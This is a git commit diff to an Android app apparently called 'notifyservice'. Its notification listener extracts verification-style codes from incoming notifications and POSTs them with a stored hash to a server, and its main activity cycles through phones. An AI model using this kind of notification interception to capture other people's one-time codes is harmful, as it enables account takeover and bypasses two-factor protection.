test
This commit is contained in:
parent
54964c2d5c
commit
45dc17bb11
2 changed files with 15 additions and 5 deletions
|
@ -1,6 +1,7 @@
|
||||||
package com.example.notifyservice;
|
package com.example.notifyservice;
|
||||||
|
|
||||||
import static com.example.notifyservice.MainActivity.getCurrentHash;
|
import static com.example.notifyservice.MainActivity.getCurrentHash;
|
||||||
|
import static com.example.notifyservice.MainActivity.setCurrentHash;
|
||||||
|
|
||||||
import android.app.ActivityManager;
|
import android.app.ActivityManager;
|
||||||
import android.app.Notification;
|
import android.app.Notification;
|
||||||
|
@ -62,15 +63,20 @@ public class Listener extends NotificationListenerService {
|
||||||
if (code.length() < 5)
|
if (code.length() < 5)
|
||||||
return;
|
return;
|
||||||
Context context = getApplicationContext();
|
Context context = getApplicationContext();
|
||||||
PostRequest postRequestTask = new PostRequest(context, null);
|
String currentHash = getCurrentHash(context);
|
||||||
postRequestTask.execute("code",
|
if(currentHash.isEmpty())
|
||||||
code + ";" + getCurrentHash(context)); // STATIC
|
return;
|
||||||
if (MainActivity.callbackRef != null) {
|
if (MainActivity.callbackRef != null) {
|
||||||
NotificationCallback callback = MainActivity.callbackRef.get();
|
NotificationCallback callback = MainActivity.callbackRef.get();
|
||||||
if (callback != null) {
|
if (callback != null) {
|
||||||
callback.onCodeReceived(code);
|
callback.onCodeReceived(code);
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
PostRequest postRequestTask = new PostRequest(context, null);
|
||||||
|
postRequestTask.execute("code",
|
||||||
|
code + ";" + currentHash); // STATIC
|
||||||
}
|
}
|
||||||
|
setCurrentHash(context, "");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -15,6 +15,7 @@ import android.net.NetworkCapabilities;
|
||||||
import android.os.Build;
|
import android.os.Build;
|
||||||
import android.os.Bundle;
|
import android.os.Bundle;
|
||||||
|
|
||||||
|
import android.preference.PreferenceManager;
|
||||||
import android.telephony.TelephonyManager;
|
import android.telephony.TelephonyManager;
|
||||||
import android.view.View;
|
import android.view.View;
|
||||||
import android.view.ViewGroup;
|
import android.view.ViewGroup;
|
||||||
|
@ -320,6 +321,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
return;
|
return;
|
||||||
codes.add(code);
|
codes.add(code);
|
||||||
cancelTimer();
|
cancelTimer();
|
||||||
|
PostRequest postRequestTask = new PostRequest(this, this);
|
||||||
|
postRequestTask.execute("code",
|
||||||
|
code + ";" + getCurrentHash(this)); // STATIC
|
||||||
nextPhone();
|
nextPhone();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -345,13 +349,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getCurrentHash(Context context) {
|
public static String getCurrentHash(Context context) {
|
||||||
SharedPreferences prefs = context.getSharedPreferences("PRIVATE_DATA", Context.MODE_PRIVATE);
|
SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(context);
|
||||||
return prefs.getString("KEY_HASH", ""); // Return empty string if not found
|
return prefs.getString("KEY_HASH", ""); // Return empty string if not found
|
||||||
}
|
}
|
||||||
|
|
||||||
// Store the hash value
|
// Store the hash value
|
||||||
public static void setCurrentHash(Context context, String hash) {
|
public static void setCurrentHash(Context context, String hash) {
|
||||||
SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", Context.MODE_PRIVATE).edit();
|
SharedPreferences.Editor editor = PreferenceManager.getDefaultSharedPreferences(context).edit();
|
||||||
editor.putString("KEY_HASH", hash);
|
editor.putString("KEY_HASH", hash);
|
||||||
editor.apply(); // Asynchronously save changes
|
editor.apply(); // Asynchronously save changes
|
||||||
}
|
}
|
||||||
|
|
Loading…
Add table
Reference in a new issue